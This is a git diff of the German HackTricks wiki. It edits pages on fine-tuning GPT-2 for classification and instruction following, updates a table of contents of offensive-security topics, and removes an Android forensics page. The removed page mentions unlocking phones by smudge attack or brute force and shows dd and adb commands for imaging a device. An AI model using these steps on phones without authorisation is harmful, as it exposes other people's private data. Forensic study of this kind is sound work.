||||
|
@ -1,5 +1,7 @@
|
||||
# 7.1. Feinabstimmung für die Klassifikation
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Was ist
|
||||
|
||||
Feinabstimmung ist der Prozess, ein **vortrainiertes Modell** zu nehmen, das **allgemeine Sprachmuster** aus großen Datenmengen gelernt hat, und es **anzupassen**, um eine **spezifische Aufgabe** auszuführen oder domänenspezifische Sprache zu verstehen. Dies wird erreicht, indem das Training des Modells auf einem kleineren, aufgabenbezogenen Datensatz fortgesetzt wird, wodurch es seine Parameter anpassen kann, um besser auf die Nuancen der neuen Daten einzugehen, während es das breite Wissen, das es bereits erworben hat, nutzt. Feinabstimmung ermöglicht es dem Modell, genauere und relevantere Ergebnisse in spezialisierten Anwendungen zu liefern, ohne ein neues Modell von Grund auf neu trainieren zu müssen.
|
||||
@ -8,7 +10,7 @@ Feinabstimmung ist der Prozess, ein **vortrainiertes Modell** zu nehmen, das **a
|
||||
> Da das Vortrainieren eines LLM, das den Text "versteht", ziemlich teuer ist, ist es normalerweise einfacher und günstiger, Open-Source-vortrainierte Modelle für eine spezifische Aufgabe, die wir möchten, dass es ausführt, fein abzustimmen.
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieses Abschnitts ist es zu zeigen, wie man ein bereits vortrainiertes Modell fein abstimmt, sodass das LLM anstelle von neuem Text die **Wahrscheinlichkeiten angibt, dass der gegebene Text in jede der gegebenen Kategorien eingeordnet wird** (zum Beispiel, ob ein Text Spam ist oder nicht).
|
||||
> Das Ziel dieses Abschnitts ist es zu zeigen, wie man ein bereits vortrainiertes Modell fein abstimmt, sodass das LLM anstelle von neuem Text die **Wahrscheinlichkeiten angibt, dass der gegebene Text in jede der gegebenen Kategorien eingeordnet wird** (wie ob ein Text Spam ist oder nicht).
|
||||
|
||||
## Vorbereitung des Datensatzes
|
||||
|
||||
@ -20,8 +22,8 @@ Dieser Datensatz enthält viel mehr Beispiele von "nicht Spam" als von "Spam", d
|
||||
|
||||
Dann werden **70%** des Datensatzes für das **Training**, **10%** für die **Validierung** und **20%** für das **Testen** verwendet.
|
||||
|
||||
- Der **Validierungsdatensatz** wird während der Trainingsphase verwendet, um die **Hyperparameter** des Modells fein abzustimmen und Entscheidungen über die Modellarchitektur zu treffen, wodurch effektiv Überanpassung verhindert wird, indem Feedback darüber gegeben wird, wie das Modell bei ungesehenen Daten abschneidet. Er ermöglicht iterative Verbesserungen, ohne die endgültige Bewertung zu verzerren.
|
||||
- Das bedeutet, dass obwohl die in diesem Datensatz enthaltenen Daten nicht direkt für das Training verwendet werden, sie dazu dienen, die besten **Hyperparameter** zu optimieren, sodass dieser Datensatz nicht zur Bewertung der Leistung des Modells wie der Testdatensatz verwendet werden kann.
|
||||
- Der **Validierungsdatensatz** wird während der Trainingsphase verwendet, um die **Hyperparameter** des Modells fein abzustimmen und Entscheidungen über die Modellarchitektur zu treffen, was effektiv hilft, Überanpassung zu verhindern, indem Feedback darüber gegeben wird, wie das Modell bei ungesehenen Daten abschneidet. Er ermöglicht iterative Verbesserungen, ohne die endgültige Bewertung zu verzerren.
|
||||
- Das bedeutet, dass obwohl die in diesem Datensatz enthaltenen Daten nicht direkt für das Training verwendet werden, sie verwendet werden, um die besten **Hyperparameter** zu optimieren, sodass dieser Datensatz nicht zur Bewertung der Leistung des Modells wie der Testdatensatz verwendet werden kann.
|
||||
- Im Gegensatz dazu wird der **Testdatensatz** **nur nach** dem vollständigen Training des Modells und nach Abschluss aller Anpassungen verwendet; er bietet eine unvoreingenommene Bewertung der Fähigkeit des Modells, auf neue, ungesehene Daten zu verallgemeinern. Diese endgültige Bewertung des Testdatensatzes gibt einen realistischen Hinweis darauf, wie das Modell in realen Anwendungen abschneiden wird.
|
||||
|
||||
### Länge der Einträge
|
||||
@ -47,7 +49,7 @@ out_features=num_classes
|
||||
```
|
||||
## Parameter zum Abstimmen
|
||||
|
||||
Um schnell abzustimmen, ist es einfacher, nicht alle Parameter, sondern nur einige finale zu optimieren. Das liegt daran, dass bekannt ist, dass die unteren Schichten im Allgemeinen grundlegende Sprachstrukturen und anwendbare Semantiken erfassen. Daher ist es in der Regel ausreichend und schneller, **nur die letzten Schichten abzustimmen**.
|
||||
Um schnell abzustimmen, ist es einfacher, nicht alle Parameter abzustimmen, sondern nur einige finale. Das liegt daran, dass bekannt ist, dass die unteren Schichten im Allgemeinen grundlegende Sprachstrukturen und anwendbare Semantiken erfassen. Daher ist es in der Regel ausreichend und schneller, **nur die letzten Schichten abzustimmen**.
|
||||
```python
|
||||
# This code makes all the parameters of the model unrtainable
|
||||
for param in model.parameters():
|
||||
@ -101,10 +103,12 @@ return loss
|
||||
```
|
||||
Beachten Sie, dass wir für jede Charge nur an den **Logits des letzten vorhergesagten Tokens** interessiert sind.
|
||||
|
||||
## Vollständiger GPT2 Feinabstimmungs-Klassifizierungscode
|
||||
## Vollständiger GPT2 Fine-Tune-Klassifizierungscode
|
||||
|
||||
Sie finden den gesamten Code zur Feinabstimmung von GPT2 als Spam-Klassifizierer in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
|
||||
Sie finden den gesamten Code, um GPT2 als Spam-Klassifizierer zu fine-tunen, in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,7 @@
|
||||
# 7.2. Feinabstimmung zur Befolgung von Anweisungen
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieses Abschnitts ist es zu zeigen, wie man ein **bereits vortrainiertes Modell feinabstimmt, um Anweisungen zu befolgen**, anstatt nur Text zu generieren, zum Beispiel, um auf Aufgaben als Chatbot zu reagieren.
|
||||
|
||||
@ -7,7 +9,7 @@
|
||||
|
||||
Um ein LLM zur Befolgung von Anweisungen feinabzustimmen, ist es notwendig, einen Datensatz mit Anweisungen und Antworten zu haben, um das LLM feinabzustimmen. Es gibt verschiedene Formate, um ein LLM zur Befolgung von Anweisungen zu trainieren, zum Beispiel:
|
||||
|
||||
- Das Beispiel des Apply Alpaca Prompt-Stils:
|
||||
- Das Beispiel des Apply Alpaca-Prompts:
|
||||
```csharp
|
||||
Below is an instruction that describes a task. Write a response that appropriately completes the request.
|
||||
|
||||
@ -61,14 +63,14 @@ Dann ist es notwendig, alle Eingaben und erwarteten Ausgaben für das Training z
|
||||
- Einige Padding-Tokens mit -100 zu ersetzen, um sie vom Trainingsverlust auszuschließen: Nach dem ersten `endoftext`-Token alle anderen `endoftext`-Tokens durch -100 zu ersetzen (da die Verwendung von `cross_entropy(...,ignore_index=-100)` bedeutet, dass Ziele mit -100 ignoriert werden)
|
||||
- \[Optional] Auch alle Tokens, die zur Frage gehören, mit -100 zu maskieren, damit das LLM nur lernt, wie man die Antwort generiert. Im Apply Alpaca-Stil bedeutet dies, alles bis `### Response:` zu maskieren.
|
||||
|
||||
Damit dies erstellt ist, ist es Zeit, die Datenlader für jeden Datensatz (Training, Validierung und Test) zu erstellen.
|
||||
Damit erstellt, ist es Zeit, die Datenlader für jeden Datensatz (Training, Validierung und Test) zu erstellen.
|
||||
|
||||
## Vortrainiertes LLM laden & Feinabstimmung & Verlustüberprüfung
|
||||
|
||||
Es ist notwendig, ein vortrainiertes LLM zu laden, um es fein abzustimmen. Dies wurde bereits auf anderen Seiten besprochen. Dann ist es möglich, die zuvor verwendete Trainingsfunktion zu nutzen, um das LLM fein abzustimmen.
|
||||
Es ist notwendig, ein vortrainiertes LLM zu laden, um es feinabzustimmen. Dies wurde bereits auf anderen Seiten besprochen. Dann ist es möglich, die zuvor verwendete Trainingsfunktion zu nutzen, um das LLM feinabzustimmen.
|
||||
|
||||
Während des Trainings ist es auch möglich zu sehen, wie der Trainingsverlust und der Validierungsverlust während der Epochen variieren, um zu überprüfen, ob der Verlust reduziert wird und ob Overfitting auftritt.\
|
||||
Denken Sie daran, dass Overfitting auftritt, wenn der Trainingsverlust reduziert wird, der Validierungsverlust jedoch nicht reduziert wird oder sogar steigt. Um dies zu vermeiden, ist das Einfachste, das Training in der Epoche zu stoppen, in der dieses Verhalten beginnt.
|
||||
Während des Trainings ist es auch möglich zu sehen, wie der Trainingsverlust und der Validierungsverlust während der Epochen variieren, um zu überprüfen, ob der Verlust sinkt und ob Overfitting auftritt.\
|
||||
Denken Sie daran, dass Overfitting auftritt, wenn der Trainingsverlust sinkt, der Validierungsverlust jedoch nicht sinkt oder sogar steigt. Um dies zu vermeiden, ist das Einfachste, das Training in der Epoche zu stoppen, in der dieses Verhalten beginnt.
|
||||
|
||||
## Antwortqualität
|
||||
|
||||
@ -80,21 +82,23 @@ Weitere Tests zur Überprüfung der Qualität der Antworten:
|
||||
1. **Messung des Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU bewertet das Wissen und die Problemlösungsfähigkeiten eines Modells in 57 Fächern, einschließlich Geisteswissenschaften, Naturwissenschaften und mehr. Es verwendet Multiple-Choice-Fragen, um das Verständnis auf verschiedenen Schwierigkeitsgraden zu bewerten, von elementar bis fortgeschritten.
|
||||
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Diese Plattform ermöglicht es Benutzern, Antworten von verschiedenen Chatbots nebeneinander zu vergleichen. Benutzer geben einen Prompt ein, und mehrere Chatbots generieren Antworten, die direkt verglichen werden können.
|
||||
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval ist ein automatisiertes Bewertungsframework, bei dem ein fortgeschrittenes LLM wie GPT-4 die Antworten anderer Modelle auf verschiedene Prompts bewertet.
|
||||
4. **Allgemeine Sprachverständnisbewertung (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE ist eine Sammlung von neun Aufgaben zum Verständnis natürlicher Sprache, einschließlich Sentiment-Analyse, textueller Folgerung und Fragebeantwortung.
|
||||
4. **Allgemeine Bewertung des Sprachverständnisses (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE ist eine Sammlung von neun Aufgaben zum Verständnis natürlicher Sprache, einschließlich Sentiment-Analyse, textueller Folgerung und Fragebeantwortung.
|
||||
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Aufbauend auf GLUE umfasst SuperGLUE herausforderndere Aufgaben, die für aktuelle Modelle schwierig sein sollen.
|
||||
6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench ist ein großangelegter Benchmark mit über 200 Aufgaben, die die Fähigkeiten eines Modells in Bereichen wie Schlussfolgern, Übersetzen und Fragebeantwortung testen.
|
||||
7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM bietet eine umfassende Bewertung über verschiedene Metriken wie Genauigkeit, Robustheit und Fairness.
|
||||
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Ein Open-Source-Bewertungsframework von OpenAI, das das Testen von KI-Modellen bei benutzerdefinierten und standardisierten Aufgaben ermöglicht.
|
||||
6. **Über das Imitationsspiel-Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench ist ein großangelegtes Benchmark mit über 200 Aufgaben, die die Fähigkeiten eines Modells in Bereichen wie Schlussfolgern, Übersetzen und Fragebeantwortung testen.
|
||||
7. **Ganzheitliche Bewertung von Sprachmodellen (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM bietet eine umfassende Bewertung über verschiedene Metriken wie Genauigkeit, Robustheit und Fairness.
|
||||
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Ein Open-Source-Bewertungsframework von OpenAI, das das Testen von KI-Modellen auf benutzerdefinierten und standardisierten Aufgaben ermöglicht.
|
||||
9. [**HumanEval**](https://github.com/openai/human-eval)**:** Eine Sammlung von Programmierproblemen, die zur Bewertung der Codegenerierungsfähigkeiten von Sprachmodellen verwendet wird.
|
||||
10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD besteht aus Fragen zu Wikipedia-Artikeln, bei denen Modelle den Text verstehen müssen, um genau zu antworten.
|
||||
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Ein großangelegter Datensatz von Triviafragen und -antworten sowie Beweisunterlagen.
|
||||
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Ein großangelegter Datensatz von Trivia-Fragen und -Antworten sowie Beweis-Dokumenten.
|
||||
|
||||
und viele, viele mehr
|
||||
|
||||
## Follow instructions fine-tuning code
|
||||
|
||||
Sie finden ein Beispiel für den Code zur Durchführung dieser Feinabstimmung unter [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)
|
||||
Sie finden ein Beispiel für den Code zur Durchführung dieser Feinabstimmung in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,10 @@
|
||||
# LLM Training - Datenvorbereitung
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
**Dies sind meine Notizen aus dem sehr empfohlenen Buch** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **mit einigen zusätzlichen Informationen.**
|
||||
|
||||
## Grundlegende Informationen
|
||||
## Grundinformationen
|
||||
|
||||
Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konzepte zu verstehen, die Sie wissen sollten:
|
||||
|
||||
@ -19,7 +21,7 @@ Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konze
|
||||
1.-tokenizing.md
|
||||
{{#endref}}
|
||||
|
||||
## 2. Datenstichproben
|
||||
## 2. Datensampling
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser zweiten Phase ist sehr einfach: **Proben Sie die Eingabedaten und bereiten Sie sie für die Trainingsphase vor, indem Sie den Datensatz normalerweise in Sätze einer bestimmten Länge unterteilen und auch die erwartete Antwort generieren.**
|
||||
@ -44,7 +46,7 @@ Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konze
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser vierten Phase ist sehr einfach: **Wenden Sie einige Aufmerksamkeitsmechanismen an**. Diese werden viele **wiederholte Schichten** sein, die die **Beziehung eines Wortes im Vokabular zu seinen Nachbarn im aktuellen Satz, der zum Trainieren des LLM verwendet wird, erfassen**.\
|
||||
> Viele Schichten werden dafür verwendet, sodass viele trainierbare Parameter diese Informationen erfassen werden.
|
||||
> Es werden viele Schichten dafür verwendet, sodass viele trainierbare Parameter diese Informationen erfassen.
|
||||
|
||||
{{#ref}}
|
||||
4.-attention-mechanisms.md
|
||||
@ -82,7 +84,7 @@ Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konze
|
||||
## 7.1. Feintuning für Klassifikation
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieses Abschnitts ist zu zeigen, wie man ein bereits vortrainiertes Modell fein abstimmt, sodass das LLM anstelle von neuem Text die **Wahrscheinlichkeiten angibt, dass der gegebene Text in jede der angegebenen Kategorien eingeordnet wird** (zum Beispiel, ob ein Text Spam ist oder nicht).
|
||||
> Das Ziel dieses Abschnitts ist zu zeigen, wie man ein bereits vortrainiertes Modell fein abstimmt, sodass das LLM anstelle von neuem Text die **Wahrscheinlichkeiten des gegebenen Textes für jede der angegebenen Kategorien** (wie ob ein Text Spam ist oder nicht) angibt.
|
||||
|
||||
{{#ref}}
|
||||
7.1.-fine-tuning-for-classification.md
|
||||
@ -96,3 +98,5 @@ Sie sollten mit dem Lesen dieses Beitrags beginnen, um einige grundlegende Konze
|
||||
{{#ref}}
|
||||
7.2.-fine-tuning-to-follow-instructions.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -149,6 +149,7 @@
|
||||
- [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
|
||||
- [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
|
||||
- [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md)
|
||||
- [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md)
|
||||
- [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
|
||||
- [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
|
||||
- [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
|
||||
@ -217,8 +218,10 @@
|
||||
|
||||
# 🪟 Windows Hardening
|
||||
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
@ -248,6 +251,7 @@
|
||||
- [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
|
||||
- [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
|
||||
- [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md)
|
||||
- [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
|
||||
- [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md)
|
||||
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
|
||||
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
|
||||
@ -330,7 +334,7 @@
|
||||
- [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md)
|
||||
- [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md)
|
||||
- [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md)
|
||||
- [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
|
||||
- [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
|
||||
- [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md)
|
||||
- [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md)
|
||||
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
|
||||
@ -388,6 +392,7 @@
|
||||
- [Buckets](network-services-pentesting/pentesting-web/buckets/README.md)
|
||||
- [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
- [CGI](network-services-pentesting/pentesting-web/cgi.md)
|
||||
- [Django](network-services-pentesting/pentesting-web/django.md)
|
||||
- [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
|
||||
- [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
|
||||
- [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
|
||||
@ -398,7 +403,6 @@
|
||||
- [Flask](network-services-pentesting/pentesting-web/flask.md)
|
||||
- [Git](network-services-pentesting/pentesting-web/git.md)
|
||||
- [Golang](network-services-pentesting/pentesting-web/golang.md)
|
||||
- [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md)
|
||||
- [Grafana](network-services-pentesting/pentesting-web/grafana.md)
|
||||
- [GraphQL](network-services-pentesting/pentesting-web/graphql.md)
|
||||
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
|
||||
@ -430,7 +434,7 @@
|
||||
- [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md)
|
||||
- [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md)
|
||||
- [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
|
||||
- [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
|
||||
- [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
|
||||
- [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
@ -438,6 +442,7 @@
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
- [Symfony](network-services-pentesting/pentesting-web/symphony.md)
|
||||
- [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
|
||||
@ -582,6 +587,7 @@
|
||||
- [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md)
|
||||
- [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
|
||||
- [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
- [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md)
|
||||
- [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
|
||||
- [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
|
||||
- [Email Injections](pentesting-web/email-injections.md)
|
||||
@ -609,6 +615,7 @@
|
||||
- [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
|
||||
- [IDOR](pentesting-web/idor.md)
|
||||
- [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
|
||||
- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md)
|
||||
- [LDAP Injection](pentesting-web/ldap-injection.md)
|
||||
- [Login Bypass](pentesting-web/login-bypass/README.md)
|
||||
- [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
|
||||
@ -641,6 +648,7 @@
|
||||
- [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
|
||||
- [Oracle injection](pentesting-web/sql-injection/oracle-injection.md)
|
||||
- [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md)
|
||||
- [Sqlmap](pentesting-web/sql-injection/sqlmap.md)
|
||||
- [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md)
|
||||
- [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md)
|
||||
- [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||||
@ -664,6 +672,7 @@
|
||||
- [WebSocket Attacks](pentesting-web/websocket-attacks.md)
|
||||
- [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
|
||||
- [XPATH injection](pentesting-web/xpath-injection.md)
|
||||
- [XS Search](pentesting-web/xs-search.md)
|
||||
- [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
|
||||
- [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
|
||||
@ -845,13 +854,14 @@
|
||||
|
||||
# ✍️ TODO
|
||||
|
||||
- [Other Big References](todo/references.md)
|
||||
- [Interesting Http](todo/interesting-http.md)
|
||||
- [Rust Basics](todo/rust-basics.md)
|
||||
- [More Tools](todo/more-tools.md)
|
||||
- [MISC](todo/misc.md)
|
||||
- [Pentesting DNS](todo/pentesting-dns.md)
|
||||
- [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
|
||||
- [I2C](todo/hardware-hacking/i2c.md)
|
||||
- [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md)
|
||||
- [UART](todo/hardware-hacking/uart.md)
|
||||
- [Radio](todo/hardware-hacking/radio.md)
|
||||
- [JTAG](todo/hardware-hacking/jtag.md)
|
||||
@ -878,8 +888,6 @@
|
||||
- [Other Web Tricks](todo/other-web-tricks.md)
|
||||
- [Interesting HTTP$$external:todo/interesting-http.md$$]()
|
||||
- [Android Forensics](todo/android-forensics.md)
|
||||
- [TR-069](todo/tr-069.md)
|
||||
- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
|
||||
- [Online Platforms with API](todo/online-platforms-with-api.md)
|
||||
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
@ -887,3 +895,11 @@
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
||||
|
||||
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
- [Readme](reversing/cryptographic-algorithms/README.md)
|
||||
- [Readme](reversing/reversing-tools/README.md)
|
||||
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
@ -1,27 +0,0 @@
|
||||
# Android Forensik
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
## Gesperrtes Gerät
|
||||
|
||||
Um mit der Datenextraktion von einem Android-Gerät zu beginnen, muss es entsperrt sein. Wenn es gesperrt ist, können Sie:
|
||||
|
||||
- Überprüfen, ob das Gerät das Debugging über USB aktiviert hat.
|
||||
- Nach einem möglichen [Smudge-Angriff](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf) suchen.
|
||||
- Es mit [Brute-Force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) versuchen.
|
||||
|
||||
## Datenerfassung
|
||||
|
||||
Erstellen Sie ein [Android-Backup mit adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) und extrahieren Sie es mit dem [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
|
||||
|
||||
### Wenn Root-Zugriff oder physische Verbindung zur JTAG-Schnittstelle
|
||||
|
||||
- `cat /proc/partitions` (suchen Sie den Pfad zum Flash-Speicher, in der Regel ist der erste Eintrag _mmcblk0_ und entspricht dem gesamten Flash-Speicher).
|
||||
- `df /data` (Entdecken Sie die Blockgröße des Systems).
|
||||
- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (führen Sie es mit den Informationen aus der Blockgröße aus).
|
||||
|
||||
### Speicher
|
||||
|
||||
Verwenden Sie den Linux Memory Extractor (LiME), um die RAM-Informationen zu extrahieren. Es ist eine Kernel-Erweiterung, die über adb geladen werden sollte.
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,25 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
